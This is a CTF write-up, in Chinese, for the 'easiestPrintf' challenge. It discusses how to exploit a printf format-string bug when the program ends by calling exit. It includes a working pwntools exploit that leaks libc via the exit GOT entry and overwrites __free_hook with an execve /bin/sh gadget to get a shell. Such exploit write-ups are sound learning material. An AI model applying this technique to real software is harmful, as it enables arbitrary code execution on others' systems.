Vuln
很明显的printf格式化漏洞,但是程序结束调用了exit
hook free
比赛的时候得知可能有这个思路,在各种调试之后,修改了地址,但是被中断如何传参数进去。。卒。/(ㄒoㄒ)/~~
然后看wp,,彻底吐血。。。sign
原来这样。。。思路真是重要
思路
看到国外的一些wp里有各种思路
- 覆盖printf的返回地址。。orz。。但是这里不知道栈地址,也不好泄露,不太好用(暴力也没意义)
- 覆盖exit。。这里libc的exit是用int 80的,而且调试发现直接over
- 覆盖hook free。 orz。看了linux源码就会发现在超长字符串输入格式化的时候,会调用malloc和free(根据内核版本稍有不一样,不过基本都要开辟堆空间来缓存输出)
- atexit 表?? 试了一下,并没有找到这个函数和相关标志。atexit记录exit或者main函数退出后调用的函数列表
exp
当时做第二题找到libc中有现成的execv binsh,但是当时已经没看第一个了。。。
只要把free hook覆盖成改地址即可。。
test
不能远程了,只能本地稍微测试一下。其实在比赛的时候早覆盖成功了,忘了直接找binsh。。sigh
free address: 0xf761c2f0
free hook address: 0xf775e8b0
gadget execve binsh addr: 0xf75e92bf
然后再free那边下断点,就能看到成功覆盖libc的got表了
other
另外,参考printf源码,或者逆向一下libc,就能知道第一个传入free的参数作为free hook的第一个参数(我当时就纠结参数的问题),所以,在覆盖free hook为system之后,找个bss段写binsh,然后直接写 "%(address)s" 指向binsh地址
fake exp
基本就是改了个覆盖地址。。
from pwn import *
import os
import sys
context.log_level = 'debug'
elf = ELF('./easiestPrintf')
LOCAL = True
mine_env = os.environ
mine_env['LD_PRELOAD'] = './dealarm.so'
def exec_fmt(payload):
io_m = process('./easiestPrintf', env=mine_env)
io_m.recvuntil('wanna read:')
io_m.clean()
io_m.sendline(str(exit_got))
data = io_m.recvuntil('\n')[:-1]
lk_exit_addr = int(data, 16)
print 'leaked addr:', hex(lk_exit_addr)
io_m.recvuntil('Good Bye')
io_m.sendline(payload)
data = io_m.recvuntil('END')
io_m.close()
print data
return data
def lek_fmt_off():
auto_fmt = FmtStr(exec_fmt)
print auto_fmt.offset
exit_got = 0x8049FCC
vuln_func_addr = 0x08048771
tmp_bss_addr = 0x804A040
if LOCAL:
exit_off = 0xB0658
system_off = 0x03ADA0
malloc_off = 0x70D80
malloc_hook_off = 0x1B2768
printf_off = 0x49670
free_off = 0x00712F0
free_hook_off = 0x1B38B0
else:
exit_off = 0xB732E
system_off = 0x3E3E0
malloc_off = 0x75B80
printf_off = 0x4CC70
free_off = 0x76110
free_hook_off = 0x1AA8B8
execv_offset = 0x3E2BF
def ea_pwn():
off_fmt = 7
io_m = process('./easiestPrintf', env=mine_env)
raw_input('what?')
io_m.recvuntil('wanna read:')
raw_input('hehe')
io_m.clean()
io_m.sendline(str(exit_got))
data = io_m.recvuntil('\n')[:-1]
lk_exit_addr = int(data, 16)
print 'exit addr:', hex(lk_exit_addr)
libc_addr = lk_exit_addr - exit_off
print 'libc addr:', hex(libc_addr)
malloc_addr = libc_addr + malloc_off
print 'malloc address:', hex(malloc_addr)
printf_addr = libc_addr + printf_off
print 'printf address:', hex(printf_addr)
free_addr = libc_addr + free_off
print 'free address:', hex(free_addr)
free_hook_addr = libc_addr + free_hook_off
print 'free hook address:', hex(free_hook_addr)
gadget_execv_addr = 0x3E2BF + libc_addr
print 'gadget execve binsh addr:', hex(gadget_execv_addr)
io_m.recvuntil('Good Bye')
fr_bss_addr = free_hook_addr + 0xB0
print 'fr bss addr:', hex(fr_bss_addr)
raw_input('hello?')
#1
payload = fmtstr_payload(off_fmt, {free_hook_addr : gadget_execv_addr})
payload += 'abcdefgh%22$90000x_BBBBBBBB'
io_m.sendline(payload)
raw_input('bye?')
io_m.interactive()
ea_pwn()